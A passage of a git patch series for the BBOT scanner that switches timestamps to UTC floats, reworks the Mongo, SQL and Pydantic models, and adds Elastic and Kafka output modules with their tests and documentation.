cls.model_fields: - type_hint = type_hints[field_name] - while 1: - if getattr(type_hint, "__origin__", None) in (Annotated, Optional, Union): - type_hint = type_hint.__args__[0] - else: - break - unwrapped_type_hints[field_name] = type_hint - return unwrapped_type_hints - - @classmethod - def _datetime_fields(cls): - datetime_fields = [] - for field_name, type_hint in cls._get_type_hints().items(): - if type_hint == datetime: - datetime_fields.append(field_name) - return sorted(datetime_fields) + # we keep these because they were a lot of work to make and maybe someday they'll be useful again + + # @classmethod + # def _get_type_hints(cls): + # """ + # Drills down past all the Annotated, Optional, and Union layers to get the underlying type hint + # """ + # type_hints = get_type_hints(cls) + # unwrapped_type_hints = {} + # for field_name in cls.model_fields: + # type_hint = type_hints[field_name] + # while 1: + # if getattr(type_hint, "__origin__", None) in (Annotated, Optional, Union): + # type_hint = type_hint.__args__[0] + # else: + # break + # unwrapped_type_hints[field_name] = type_hint + # return unwrapped_type_hints + + # @classmethod + # def _datetime_fields(cls): + # datetime_fields = [] + # for field_name, type_hint in cls._get_type_hints().items(): + # if type_hint == datetime: + # datetime_fields.append(field_name) + # return sorted(datetime_fields) ### EVENT ### + class Event(BBOTBaseModel): uuid: Annotated[str, "indexed", "unique"] id: Annotated[str, "indexed"] @@ -76,7 +70,7 @@ class Event(BBOTBaseModel): scope_distance: int = 10 scan: Annotated[str, "indexed"] timestamp: Annotated[float, "indexed"] - inserted_at: Annotated[Optional[float], "indexed"] = Field(default_factory=naive_utc_now) + inserted_at: Annotated[Optional[float], "indexed"] = Field(default_factory=utc_now_timestamp) parent: Annotated[str, "indexed"] parent_uuid: Annotated[str, "indexed"] tags: List = [] @@ -99,12 +93,13 @@ def get_data(self): ### SCAN ### + class Scan(BBOTBaseModel): id: Annotated[str, "indexed", "unique"] name: str status: Annotated[str, "indexed"] - started_at: Annotated[NaiveUTC, "indexed"] - finished_at: Optional[Annotated[NaiveUTC, "indexed"]] = None + started_at: Annotated[float, "indexed"] + finished_at: Annotated[Optional[float], "indexed"] = None duration_seconds: Optional[float] = None duration: Optional[str] = None target: dict diff --git a/bbot/models/sql.py b/bbot/models/sql.py index 2640e3ca81..8e3e059b00 100644 --- a/bbot/models/sql.py +++ b/bbot/models/sql.py @@ -3,13 +3,15 @@ import json import logging +from datetime import datetime from pydantic import ConfigDict from typing import List, Optional -from datetime import datetime, timezone from typing_extensions import Annotated from pydantic.functional_validators import AfterValidator from sqlmodel import inspect, Column, Field, SQLModel, JSON, String, DateTime as SQLADateTime +from bbot.models.helpers import utc_now_timestamp + log = logging.getLogger("bbot_server.models") @@ -27,14 +29,6 @@ def naive_datetime_validator(d: datetime): NaiveUTC = Annotated[datetime, AfterValidator(naive_datetime_validator)] -class CustomJSONEncoder(json.JSONEncoder): - def default(self, obj): - # handle datetime - if isinstance(obj, datetime): - return obj.isoformat() - return super().default(obj) - - class BBOTBaseModel(SQLModel): model_config = ConfigDict(extra="ignore") @@ -52,7 +46,7 @@ def validated(self): return self def to_json(self, **kwargs): - return json.dumps(self.validated.model_dump(), sort_keys=True, cls=CustomJSONEncoder, **kwargs) + return json.dumps(self.validated.model_dump(), sort_keys=True, **kwargs) @classmethod def _pk_column_names(cls): @@ -67,12 +61,11 @@ def __eq__(self, other): ### EVENT ### + class Event(BBOTBaseModel, table=True): def __init__(self, *args, **kwargs): super().__init__(*args, **kwargs) - if self.data is None and self.data_json is None: - raise ValueError("data or data_json must be provided") if self.host: self.reverse_host = self.host[::-1] @@ -88,12 +81,12 @@ def get_data(self): ) id: str = Field(index=True) type: str = Field(index=True) - scope_description: str data: Optional[str] = Field(default=None, index=True) - data_json: Optional[dict] = Field(default=None) + data_json: Optional[dict] = Field(default=None, sa_type=JSON) host: Optional[str] port: Optional[int] netloc: Optional[str] + scope_description: str # store the host in reversed form for efficient lookups by domain reverse_host: Optional[str] = Field(default="", exclude=True, index=True) resolved_hosts: List = Field(default=[], sa_type=JSON) @@ -101,7 +94,8 @@ def get_data(self): web_spider_distance: int = 10 scope_distance: int = Field(default=10, index=True) scan: str = Field(index=True) - timestamp: NaiveUTC = Field(index=True) + timestamp: float = Field(index=True) + inserted_at: float = Field(default_factory=utc_now_timestamp) parent: str = Field(index=True) tags: List = Field(default=[], sa_type=JSON) module: str = Field(index=True) @@ -109,11 +103,11 @@ def get_data(self): discovery_context: str = "" discovery_path: List[str] = Field(default=[], sa_type=JSON) parent_chain: List[str] = Field(default=[], sa_type=JSON) - inserted_at: NaiveUTC = Field(default_factory=lambda: datetime.now(timezone.utc)) ### SCAN ### + class Scan(BBOTBaseModel, table=True): id: str = Field(primary_key=True) name: str @@ -128,6 +122,7 @@ class Scan(BBOTBaseModel, table=True): ### TARGET ### + class Target(BBOTBaseModel, table=True): name: str = "Default Target" strict_scope: bool = False diff --git a/bbot/modules/output/mongo.py b/bbot/modules/output/mongo.py index 5e555ab0ff..6ad16620f6 100644 --- a/bbot/modules/output/mongo.py +++ b/bbot/modules/output/mongo.py @@ -23,7 +23,7 @@ class Mongo(BaseOutputModule): "database": "The name of the database to use", "username": "The username to use to connect to the database", "password": "The password to use to connect to the database", - "collection_prefix": "Prefix each collection with this string", + "collection_prefix": "Prefix the name of each collection with this string", } deps_pip = ["motor~=3.6.0"] @@ -62,20 +62,20 @@ async def handle_event(self, event): await self.events_collection.insert_one(event_pydantic.model_dump()) if event.type == "SCAN": - scan_json = Scan.from_event(event).model_dump() - existing_scan = await self.scans_collection.find_one({"uuid": event_pydantic.uuid}) + scan_json = Scan(**event.data_json).model_dump() + existing_scan = await self.scans_collection.find_one({"id": event_pydantic.id}) if existing_scan: - await self.scans_collection.replace_one({"uuid": event_pydantic.uuid}, scan_json) - self.verbose(f"Updated scan event with UUID: {event_pydantic.uuid}") + await self.scans_collection.replace_one({"id": event_pydantic.id}, scan_json) + self.verbose(f"Updated scan event with ID: {event_pydantic.id}") else: # Insert as a new scan if no existing scan is found await self.scans_collection.insert_one(event_pydantic.model_dump()) - self.verbose(f"Inserted new scan event with UUID: {event_pydantic.uuid}") + self.verbose(f"Inserted new scan event with ID: {event_pydantic.id}") target_data = scan_json.get("target", {}) target = Target(**target_data) - existing_target = await self.targets_collection.find_one({"uuid": target.uuid}) + existing_target = await self.targets_collection.find_one({"hash": target.hash}) if existing_target: - await self.targets_collection.replace_one({"uuid": target.uuid}, target.model_dump()) + await self.targets_collection.replace_one({"hash": target.hash}, target.model_dump()) else: await self.targets_collection.insert_one(target.model_dump()) diff --git a/bbot/scanner/scanner.py b/bbot/scanner/scanner.py index 62e5c9d3ab..a5b04bc2c7 100644 --- a/bbot/scanner/scanner.py +++ b/bbot/scanner/scanner.py @@ -6,7 +6,7 @@ import regex as re from pathlib import Path from sys import exc_info -from datetime import datetime +from datetime import datetime, UTC from collections import OrderedDict from bbot import __version__ @@ -327,8 +327,8 @@ async def async_start_without_generator(self): async def async_start(self): """ """ - self.start_time = datetime.now() - self.root_event.data["started_at"] = self.start_time.isoformat() + self.start_time = datetime.now(UTC) + self.root_event.data["started_at"] = self.start_time.timestamp() try: await self._prep() @@ -436,7 +436,7 @@ async def _mark_finished(self): else: status = "FINISHED" - self.end_time = datetime.now() + self.end_time = datetime.now(UTC) self.duration = self.end_time - self.start_time self.duration_seconds = self.duration.total_seconds() self.duration_human = self.helpers.human_timedelta(self.duration) @@ -1130,9 +1130,9 @@ def json(self): j["target"] = self.preset.target.json j["preset"] = self.preset.to_dict(redact_secrets=True) if self.start_time is not None: - j["started_at"] = self.start_time.isoformat() + j["started_at"] = self.start_time.timestamp() if self.end_time is not None: - j["finished_at"] = self.end_time.isoformat() + j["finished_at"] = self.end_time.timestamp() if self.duration is not None: j["duration_seconds"] = self.duration_seconds if self.duration_human is not None: diff --git a/bbot/test/bbot_fixtures.py b/bbot/test/bbot_fixtures.py index 229c58a290..4d73d036c1 100644 --- a/bbot/test/bbot_fixtures.py +++ b/bbot/test/bbot_fixtures.py @@ -254,12 +254,12 @@ class bbot_events: return bbot_events -# @pytest.fixture(scope="session", autouse=True) -# def install_all_python_deps(): -# deps_pip = set() -# for module in DEFAULT_PRESET.module_loader.preloaded().values(): -# deps_pip.update(set(module.get("deps", {}).get("pip", []))) +@pytest.fixture(scope="session", autouse=True) +def install_all_python_deps(): + deps_pip = set() + for module in DEFAULT_PRESET.module_loader.preloaded().values(): + deps_pip.update(set(module.get("deps", {}).get("pip", []))) -# constraint_file = tempwordlist(get_python_constraints()) + constraint_file = tempwordlist(get_python_constraints()) -# subprocess.run([sys.executable, "-m", "pip", "install", "--constraint", constraint_file] + list(deps_pip)) + subprocess.run([sys.executable, "-m", "pip", "install", "--constraint", constraint_file] + list(deps_pip)) diff --git a/bbot/test/test_step_1/test_db_models.py b/bbot/test/test_step_1/test_db_models.py index d29e7e79a8..a8088be4f2 100644 --- a/bbot/test/test_step_1/test_db_models.py +++ b/bbot/test/test_step_1/test_db_models.py @@ -1,11 +1,23 @@ -from datetime import datetime +from datetime import datetime, UTC +from zoneinfo import ZoneInfo from bbot.models.pydantic import Event +from bbot.core.event.base import BaseEvent +from bbot.models.helpers import utc_datetime_validator from ..bbot_fixtures import * # noqa def test_pydantic_models(events): + # test datetime helpers + now = datetime.now(ZoneInfo("America/New_York")) + utc_now = utc_datetime_validator(now) + assert now.timestamp() == utc_now.timestamp() + now2 = datetime.fromtimestamp(utc_now.timestamp(), UTC) + assert now2.timestamp() == utc_now.timestamp() + utc_now2 = utc_datetime_validator(now2) + assert utc_now2.timestamp() == utc_now.timestamp() + assert Event._datetime_fields() == ["inserted_at", "timestamp"] test_event = Event(**events.ipv4.json()) @@ -23,18 +35,25 @@ def test_pydantic_models(events): ] # convert events to pydantic and back, making sure they're exactly the same - for event in ("http_response", "finding", "vulnerability", "ipv4", "storage_bucket"): + for event in ("ipv4", "http_response", "finding", "vulnerability", "storage_bucket"): e = getattr(events, event) event_json = e.json() event_pydantic = Event(**event_json) event_pydantic_dict = event_pydantic.model_dump() + event_reconstituted = BaseEvent.from_json(event_pydantic_dict) assert isinstance(event_json["timestamp"], float) assert isinstance(e.timestamp, datetime) assert isinstance(event_pydantic.timestamp, datetime) assert not "inserted_at" in event_json assert isinstance(event_pydantic_dict["timestamp"], float) assert isinstance(event_pydantic_dict["inserted_at"], float) - assert event_pydantic.model_dump(exclude_none=True, exclude=["reverse_host", "inserted_at"]) == event_json + + event_pydantic_dict = event_pydantic.model_dump(exclude_none=True, exclude=["reverse_host", "inserted_at"]) + assert event_pydantic_dict == event_json + event_pydantic_dict.pop("scan") + event_pydantic_dict.pop("module") + event_pydantic_dict.pop("module_sequence") + assert event_reconstituted.json() == event_pydantic_dict # TODO: SQL diff --git a/bbot/test/test_step_1/test_events.py b/bbot/test/test_step_1/test_events.py index a940dbce06..faadbdaae9 100644 --- a/bbot/test/test_step_1/test_events.py +++ b/bbot/test/test_step_1/test_events.py @@ -494,7 +494,7 @@ async def test_events(events, helpers): assert db_event.parent_chain[0] == str(db_event.uuid) assert db_event.parent.uuid == scan.root_event.uuid assert db_event.parent_uuid == scan.root_event.uuid - timestamp = db_event.timestamp.replace(tzinfo=None).timestamp() + timestamp = db_event.timestamp.timestamp() json_event = db_event.json() assert isinstance(json_event["uuid"], str) assert json_event["uuid"] == str(db_event.uuid) diff --git a/bbot/test/test_step_2/module_tests/test_module_mongo.py b/bbot/test/test_step_2/module_tests/test_module_mongo.py index fcfed7841a..ac28e64e7b 100644 --- a/bbot/test/test_step_2/module_tests/test_module_mongo.py +++ b/bbot/test/test_step_2/module_tests/test_module_mongo.py @@ -129,7 +129,17 @@ async def check(self, module_test, events): db_scans = await cursor.to_list(length=None) assert len(db_scans) == 1, "There should be exactly one scan" db_scan = db_scans[0] - assert db_scan["scan"]["id"] == main_event["scan"], "Scan id should match main event scan" + assert db_scan["id"] == main_event["scan"], "Scan id should match main event scan" + + ### TARGETS ### + + # Fetch all targets from the collection + cursor = db.get_collection(self.test_collection_prefix + "targets").find({}) + db_targets = await cursor.to_list(length=None) + assert len(db_targets) == 1, "There should be exactly one target" + db_target = db_targets[0] + scan_event = next(e for e in events if e.type == "SCAN") + assert db_target["hash"] == scan_event.data["target"]["hash"], "Target hash should match scan target hash" finally: # Clean up: Delete all documents in the collection diff --git a/bbot/test/test_step_2/module_tests/test_module_sqlite.py b/bbot/test/test_step_2/module_tests/test_module_sqlite.py index ec80b7555d..7970627b15 100644 --- a/bbot/test/test_step_2/module_tests/test_module_sqlite.py +++ b/bbot/test/test_step_2/module_tests/test_module_sqlite.py @@ -8,6 +8,8 @@ class TestSQLite(ModuleTestBase): def check(self, module_test, events): sqlite_output_file = module_test.scan.home / "output.sqlite" assert sqlite_output_file.exists(), "SQLite output file not found" + + # first connect with raw sqlite with sqlite3.connect(sqlite_output_file) as db: cursor = db.cursor() results = cursor.execute("SELECT * FROM event").fetchall() @@ -16,3 +18,15 @@ def check(self, module_test, events): assert len(results) == 1, "No scans found in SQLite database" results = cursor.execute("SELECT * FROM target").fetchall() assert len(results) == 1, "No targets found in SQLite database" + + # then connect with bbot models + from bbot.models.sql import Event + from sqlmodel import create_engine, Session, select + + engine = create_engine(f"sqlite:///{sqlite_output_file}") + + with Session(engine) as session: + statement = select(Event).where(Event.host == "evilcorp.com") + event = session.exec(statement).first() + assert event.host == "evilcorp.com", "Event host should match target host" + assert event.data == "evilcorp.com", "Event data should match target host" From ac9502b8d5a78214363f359c93671f30ee4cc3bf Mon Sep 17 00:00:00 2001 From: github-actions Date: Thu, 21 Nov 2024 20:02:48 -0500 Subject: [PATCH 010/912] flaked --- bbot/models/helpers.py | 2 -- 1 file changed, 2 deletions(-) diff --git a/bbot/models/helpers.py b/bbot/models/helpers.py index c7fc078a45..47959ad4ac 100644 --- a/bbot/models/helpers.py +++ b/bbot/models/helpers.py @@ -1,7 +1,5 @@ from datetime import UTC from datetime import datetime -from typing_extensions import Annotated -from pydantic.functional_validators import AfterValidator def utc_datetime_validator(d: datetime) -> datetime: From d3f8e93800d3e5d8fa39529a24bbf9024aa60473 Mon Sep 17 00:00:00 2001 From: github-actions Date: Thu, 21 Nov 2024 20:41:45 -0500 Subject: [PATCH 011/912] fix tests --- bbot/core/event/base.py | 7 ++++++- bbot/test/test_step_1/test_bbot_fastapi.py | 4 ++-- bbot/test/test_step_1/test_db_models.py | 8 ++++---- bbot/test/test_step_1/test_scan.py | 2 +- bbot/test/test_step_2/module_tests/test_module_json.py | 8 ++++---- bbot/test/test_step_2/module_tests/test_module_splunk.py | 2 +- 6 files changed, 18 insertions(+), 13 deletions(-) diff --git a/bbot/core/event/base.py b/bbot/core/event/base.py index bd6e884b37..d4a37b8f24 100644 --- a/bbot/core/event/base.py +++ b/bbot/core/event/base.py @@ -1762,7 +1762,12 @@ def event_from_json(j): "context": j.get("discovery_context", None), "dummy": True, } - data = j.get("data_json", j.get("data", None)) + data = j.get("data_json", None) + if data is None: + data = j.get("data", None) + if data is None: + json_pretty = json.dumps(j, indent=2) + raise ValueError(f"data or data_json must be provided. JSON: {json_pretty}") kwargs["data"] = data event = make_event(**kwargs) event_uuid = j.get("uuid", None) diff --git a/bbot/test/test_step_1/test_bbot_fastapi.py b/bbot/test/test_step_1/test_bbot_fastapi.py index bad4020712..617f95abbf 100644 --- a/bbot/test/test_step_1/test_bbot_fastapi.py +++ b/bbot/test/test_step_1/test_bbot_fastapi.py @@ -28,7 +28,7 @@ def test_bbot_multiprocess(bbot_httpserver): assert len(events) >= 3 scan_events = [e for e in events if e["type"] == "SCAN"] assert len(scan_events) == 2 - assert any([e["data"] == "test@blacklanternsecurity.com" for e in events]) + assert any([e.get("data", "") == "test@blacklanternsecurity.com" for e in events]) def test_bbot_fastapi(bbot_httpserver): @@ -61,7 +61,7 @@ def test_bbot_fastapi(bbot_httpserver): assert len(events) >= 3 scan_events = [e for e in events if e["type"] == "SCAN"] assert len(scan_events) == 2 - assert any([e["data"] == "test@blacklanternsecurity.com" for e in events]) + assert any([e.get("data", "") == "test@blacklanternsecurity.com" for e in events]) finally: with suppress(Exception): diff --git a/bbot/test/test_step_1/test_db_models.py b/bbot/test/test_step_1/test_db_models.py index a8088be4f2..c29cc09a4f 100644 --- a/bbot/test/test_step_1/test_db_models.py +++ b/bbot/test/test_step_1/test_db_models.py @@ -18,12 +18,12 @@ def test_pydantic_models(events): utc_now2 = utc_datetime_validator(now2) assert utc_now2.timestamp() == utc_now.timestamp() - assert Event._datetime_fields() == ["inserted_at", "timestamp"] - test_event = Event(**events.ipv4.json()) assert sorted(test_event._indexed_fields()) == [ + "data", "host", "id", + "inserted_at", "module", "parent", "parent_uuid", @@ -40,10 +40,10 @@ def test_pydantic_models(events): event_json = e.json() event_pydantic = Event(**event_json) event_pydantic_dict = event_pydantic.model_dump() - event_reconstituted = BaseEvent.from_json(event_pydantic_dict) + event_reconstituted = BaseEvent.from_json(event_pydantic.model_dump(exclude_none=True)) assert isinstance(event_json["timestamp"], float) assert isinstance(e.timestamp, datetime) - assert isinstance(event_pydantic.timestamp, datetime) + assert isinstance(event_pydantic.timestamp, float) assert not "inserted_at" in event_json assert isinstance(event_pydantic_dict["timestamp"], float) assert isinstance(event_pydantic_dict["inserted_at"], float) diff --git a/bbot/test/test_step_1/test_scan.py b/bbot/test/test_step_1/test_scan.py index f5f8458262..5514571fa8 100644 --- a/bbot/test/test_step_1/test_scan.py +++ b/bbot/test/test_step_1/test_scan.py @@ -144,7 +144,7 @@ async def test_python_output_matches_json(bbot_scanner): assert len(events) == 5 scan_events = [e for e in events if e["type"] == "SCAN"] assert len(scan_events) == 2 - assert all([isinstance(e["data"]["status"], str) for e in scan_events]) + assert all([isinstance(e["data_json"]["status"], str) for e in scan_events]) assert len([e for e in events if e["type"] == "DNS_NAME"]) == 1 assert len([e for e in events if e["type"] == "ORG_STUB"]) == 1 assert len([e for e in events if e["type"] == "IP_ADDRESS"]) == 1 diff --git a/bbot/test/test_step_2/module_tests/test_module_json.py b/bbot/test/test_step_2/module_tests/test_module_json.py index bf79eeb13f..3641574213 100644 --- a/bbot/test/test_step_2/module_tests/test_module_json.py +++ b/bbot/test/test_step_2/module_tests/test_module_json.py @@ -23,13 +23,13 @@ def check(self, module_test, events): assert len(dns_json) == 1 dns_json = dns_json[0] scan = scan_json[0] - assert scan["data"]["name"] == module_test.scan.name - assert scan["data"]["id"] == module_test.scan.id + assert scan["data_json"]["name"] == module_test.scan.name + assert scan["data_json"]["id"] == module_test.scan.id assert scan["id"] == module_test.scan.id assert scan["uuid"] == str(module_test.scan.root_event.uuid) assert scan["parent_uuid"] == str(module_test.scan.root_event.uuid) - assert scan["data"]["target"]["seeds"] == ["blacklanternsecurity.com"] - assert scan["data"]["target"]["whitelist"] == ["blacklanternsecurity.com"] + assert scan["data_json"]["target"]["seeds"] == ["blacklanternsecurity.com"] + assert scan["data_json"]["target"]["whitelist"] == ["blacklanternsecurity.com"] assert dns_json["data"] == dns_data assert dns_json["id"] == str(dns_event.id) assert dns_json["uuid"] == str(dns_event.uuid) diff --git a/bbot/test/test_step_2/module_tests/test_module_splunk.py b/bbot/test/test_step_2/module_tests/test_module_splunk.py index d55ed17c27..eef148944c 100644 --- a/bbot/test/test_step_2/module_tests/test_module_splunk.py +++ b/bbot/test/test_step_2/module_tests/test_module_splunk.py @@ -23,7 +23,7 @@ def verify_data(self, j): if not j["index"] == "bbot_index": return False data = j["event"] - if not data["data"] == "blacklanternsecurity.com" and data["type"] == "DNS_NAME": + if not data["data_json"] == "blacklanternsecurity.com" and data["type"] == "DNS_NAME": return False return True From 38900573000afb60f50e31257d2521deafdc2f7d Mon Sep 17 00:00:00 2001 From: github-actions Date: Thu, 21 Nov 2024 21:19:07 -0500 Subject: [PATCH 012/912] fix utc bug --- bbot/scanner/scanner.py | 7 ++++--- bbot/test/test_step_1/test_db_models.py | 4 ++-- 2 files changed, 6 insertions(+), 5 deletions(-) diff --git a/bbot/scanner/scanner.py b/bbot/scanner/scanner.py index a5b04bc2c7..0915c4cb91 100644 --- a/bbot/scanner/scanner.py +++ b/bbot/scanner/scanner.py @@ -6,7 +6,8 @@ import regex as re from pathlib import Path from sys import exc_info -from datetime import datetime, UTC +from datetime import datetime +from zoneinfo import ZoneInfo from collections import OrderedDict from bbot import __version__ @@ -327,7 +328,7 @@ async def async_start_without_generator(self): async def async_start(self): """ """ - self.start_time = datetime.now(UTC) + self.start_time = datetime.now(ZoneInfo("UTC")) self.root_event.data["started_at"] = self.start_time.timestamp() try: await self._prep() @@ -436,7 +437,7 @@ async def _mark_finished(self): else: status = "FINISHED" - self.end_time = datetime.now(UTC) + self.end_time = datetime.now(ZoneInfo("UTC")) self.duration = self.end_time - self.start_time self.duration_seconds = self.duration.total_seconds() self.duration_human = self.helpers.human_timedelta(self.duration) diff --git a/bbot/test/test_step_1/test_db_models.py b/bbot/test/test_step_1/test_db_models.py index c29cc09a4f..9c71390696 100644 --- a/bbot/test/test_step_1/test_db_models.py +++ b/bbot/test/test_step_1/test_db_models.py @@ -1,4 +1,4 @@ -from datetime import datetime, UTC +from datetime import datetime from zoneinfo import ZoneInfo from bbot.models.pydantic import Event @@ -13,7 +13,7 @@ def test_pydantic_models(events): now = datetime.now(ZoneInfo("America/New_York")) utc_now = utc_datetime_validator(now) assert now.timestamp() == utc_now.timestamp() - now2 = datetime.fromtimestamp(utc_now.timestamp(), UTC) + now2 = datetime.fromtimestamp(utc_now.timestamp(), ZoneInfo("UTC")) assert now2.timestamp() == utc_now.timestamp() utc_now2 = utc_datetime_validator(now2) assert utc_now2.timestamp() == utc_now.timestamp() From 00cf3c708e94dcd0351ec8685514b5ffd7c5bf27 Mon Sep 17 00:00:00 2001 From: github-actions Date: Fri, 22 Nov 2024 01:32:32 -0500 Subject: [PATCH 013/912] fix tests --- bbot/models/helpers.py | 8 ++++---- 1 file changed, 4 insertions(+), 4 deletions(-) diff --git a/bbot/models/helpers.py b/bbot/models/helpers.py index 47959ad4ac..b94bc976cc 100644 --- a/bbot/models/helpers.py +++ b/bbot/models/helpers.py @@ -1,5 +1,5 @@ -from datetime import UTC from datetime import datetime +from zoneinfo import ZoneInfo def utc_datetime_validator(d: datetime) -> datetime: @@ -7,13 +7,13 @@ def utc_datetime_validator(d: datetime) -> datetime: Converts all dates into UTC """ if d.tzinfo is not None: - return d.astimezone(UTC) + return d.astimezone(ZoneInfo("UTC")) else: - return d.replace(tzinfo=UTC) + return d.replace(tzinfo=ZoneInfo("UTC")) def utc_now() -> datetime: - return datetime.now(UTC) + return datetime.now(ZoneInfo("UTC")) def utc_now_timestamp() -> datetime: From 47538b3f054c5c5e6d077cfd3202913da7babe04 Mon Sep 17 00:00:00 2001 From: github-actions Date: Fri, 22 Nov 2024 01:30:39 -0500 Subject: [PATCH 014/912] elastic module --- bbot/modules/output/elastic.py | 22 +++ bbot/modules/output/http.py | 6 +- .../module_tests/test_module_elastic.py | 130 ++++++++++++++++++ docs/scanning/output.md | 25 ++-- 4 files changed, 171 insertions(+), 12 deletions(-) create mode 100644 bbot/modules/output/elastic.py create mode 100644 bbot/test/test_step_2/module_tests/test_module_elastic.py diff --git a/bbot/modules/output/elastic.py b/bbot/modules/output/elastic.py new file mode 100644 index 0000000000..15bc023df8 --- /dev/null +++ b/bbot/modules/output/elastic.py @@ -0,0 +1,22 @@ +from .http import HTTP + + +class Elastic(HTTP): + watched_events = ["*"] + metadata = { + "description": "Send scan results to Elasticsearch", + "created_date": "2022-11-21", + "author": "@TheTechromancer", + } + options = { + "url": "", + "username": "elastic", + "password": "changeme", + "timeout": 10, + } + options_desc = { + "url": "Elastic URL (e.g. https://localhost:9200//_doc)", + "username": "Elastic username", + "password": "Elastic password", + "timeout": "HTTP timeout", + } diff --git a/bbot/modules/output/http.py b/bbot/modules/output/http.py index 7d94148d72..0af65a87d2 100644 --- a/bbot/modules/output/http.py +++ b/bbot/modules/output/http.py @@ -1,3 +1,4 @@ +from bbot.models.pydantic import Event from bbot.modules.output.base import BaseOutputModule @@ -48,12 +49,15 @@ async def setup(self): async def handle_event(self, event): while 1: + event_json = event.json() + event_pydantic = Event(**event_json) + event_json = event_pydantic.model_dump(exclude_none=True) response = await self.helpers.request( url=self.url, method=self.method, auth=self.auth, headers=self.headers, - json=event.json(), + json=event_json, ) is_success = False if response is None else response.is_success if not is_success: diff --git a/bbot/test/test_step_2/module_tests/test_module_elastic.py b/bbot/test/test_step_2/module_tests/test_module_elastic.py new file mode 100644 index 0000000000..710c22e0f0 --- /dev/null +++ b/bbot/test/test_step_2/module_tests/test_module_elastic.py @@ -0,0 +1,130 @@ +import time +import httpx +import asyncio + +from .base import ModuleTestBase + + +class TestElastic(ModuleTestBase): + config_overrides = { + "modules": { + "elastic": { + "url": "https://localhost:9200/bbot_test_events/_doc", + "username": "elastic", + "password": "bbotislife", + } + } + } + skip_distro_tests = True + + async def setup_before_prep(self, module_test): + # Start Elasticsearch container + await asyncio.create_subprocess_exec( + "docker", + "run", + "--name", + "bbot-test-elastic", + "--rm", + "-e", + "ELASTIC_PASSWORD=bbotislife", + "-e", + "cluster.routing.allocation.disk.watermark.low=96%", + "-e", + "cluster.routing.allocation.disk.watermark.high=97%", + "-e", + "cluster.routing.allocation.disk.watermark.flood_stage=98%", + "-p", + "9200:9200", + "-d", + "docker.elastic.co/elasticsearch/elasticsearch:8.16.0", + ) + + # Connect to Elasticsearch with retry logic + async with httpx.AsyncClient(verify=False) as client: + while True: + try: + # Attempt a simple operation to confirm the connection + response = await client.get("https://localhost:9200/_cat/health", auth=("elastic", "bbotislife")) + response.raise_for_status() + break + except Exception as e: + print(f"Connection failed: {e}. Retrying...", flush=True) + time.sleep(0.5) + + # Ensure the index is empty + await client.delete(f"https://localhost:9200/bbot_test_events", auth=("elastic", "bbotislife")) + print("Elasticsearch index cleaned up", flush=True) + + async def check(self, module_test, events): + try: + from bbot.models.pydantic import Event + + events_json = [e.json() for e in events] + events_json.sort(key=lambda x: x["timestamp"]) + + # Connect to Elasticsearch + async with httpx.AsyncClient(verify=False) as client: + + # refresh the index + await client.post(f"https://localhost:9200/bbot_test_events/_refresh", auth=("elastic", "bbotislife")) + + # Fetch all events from the index + response = await client.get( + f"https://localhost:9200/bbot_test_events/_search?size=100", auth=("elastic", "bbotislife") + ) + response_json = response.json() + import json + + print(f"response: {json.dumps(response_json, indent=2)}") + db_events = [hit["_source"] for hit in response_json["hits"]["hits"]] + + # make sure we have the same number of events + assert len(events_json) == len(db_events) + + for db_event in db_events: + assert isinstance(db_event["timestamp"], float) + assert isinstance(db_event["inserted_at"], float) + + # Convert to Pydantic objects and dump them + db_events_pydantic = [Event(**e).model_dump(exclude_none=True) for e in db_events] + db_events_pydantic.sort(key=lambda x: x["timestamp"]) + + # Find the main event with type DNS_NAME and data blacklanternsecurity.com + main_event = next( + ( + e + for e in db_events_pydantic + if e.get("type") == "DNS_NAME" and e.get("data") == "blacklanternsecurity.com" + ), + None, + ) + assert ( + main_event is not None + ), "Main event with type DNS_NAME and data blacklanternsecurity.com not found" + + # Ensure it has the reverse_host attribute + expected_reverse_host = "blacklanternsecurity.com"[::-1] + assert ( + main_event.get("reverse_host") == expected_reverse_host + ), f"reverse_host attribute is not correct, expected {expected_reverse_host}" + + # Events don't match exactly because the elastic ones have reverse_host and inserted_at + assert events_json != db_events_pydantic + for db_event in db_events_pydantic: + db_event.pop("reverse_host") + db_event.pop("inserted_at") + # They should match after removing reverse_host + assert events_json == db_events_pydantic, "Events do not match" + + finally: + # Clean up: Delete all documents in the index + async with httpx.AsyncClient(verify=False) as client: + response = await client.delete( + f"https://localhost:9200/bbot_test_events", + auth=("elastic", "bbotislife"), + params={"ignore": "400,404"}, + ) + print(f"Deleted documents from index", flush=True) + await asyncio.create_subprocess_exec( + "docker", "stop", "bbot-test-elastic", stdout=asyncio.subprocess.PIPE, stderr=asyncio.subprocess.PIPE + ) diff --git a/docs/scanning/output.md b/docs/scanning/output.md index dd45a5c833..16cfbd3593 100644 --- a/docs/scanning/output.md +++ b/docs/scanning/output.md @@ -155,15 +155,20 @@ config: ### Elasticsearch -When outputting to Elastic, use the `http` output module with the following settings (replace `` with your desired index, e.g. `bbot`): +- Step 1: Spin up a quick Elasticsearch docker image + +```bash +docker run -d -p 9200:9200 --name=bbot-elastic --v "$(pwd)/elastic_data:/usr/share/elasticsearch/data" -e ELASTIC_PASSWORD=bbotislife -m 1GB docker.elastic.co/elasticsearch/elasticsearch:8.16.0 +``` + +- Step 2: Execute a scan with `elastic` output module ```bash # send scan results directly to elasticsearch -bbot -t evilcorp.com -om http -c \ - modules.http.url=http://localhost:8000//_doc \ - modules.http.siem_friendly=true \ - modules.http.username=elastic \ - modules.http.password=changeme +# note: you can replace "bbot_events" with your own index name +bbot -t evilcorp.com -om elastic -c \ + modules.elastic.url=https://localhost:9200/bbot_events/_doc \ + modules.elastic.password=bbotislife ``` Alternatively, via a preset: @@ -171,11 +176,9 @@ Alternatively, via a preset: ```yaml title="elastic_preset.yml" config: modules: - http: - url: http://localhost:8000//_doc - siem_friendly: true - username: elastic - password: changeme + elastic: + url: http://localhost:9200/bbot_events/_doc + password: bbotislife ``` ### Splunk From 2ff94d124e19b81f6245d56f0436ac529455918a Mon Sep 17 00:00:00 2001 From: github-actions Date: Fri, 22 Nov 2024 18:30:05 -0500 Subject: [PATCH 015/912] new module: kafka --- bbot/core/event/base.py | 2 +- bbot/modules/output/elastic.py | 14 ++- bbot/modules/output/kafka.py | 42 +++++++ bbot/scanner/scanner.py | 6 +- .../module_tests/test_module_elastic.py | 9 +- .../module_tests/test_module_kafka.py | 108 ++++++++++++++++++ 6 files changed, 167 insertions(+), 14 deletions(-) create mode 100644 bbot/modules/output/kafka.py create mode 100644 bbot/test/test_step_2/module_tests/test_module_kafka.py diff --git 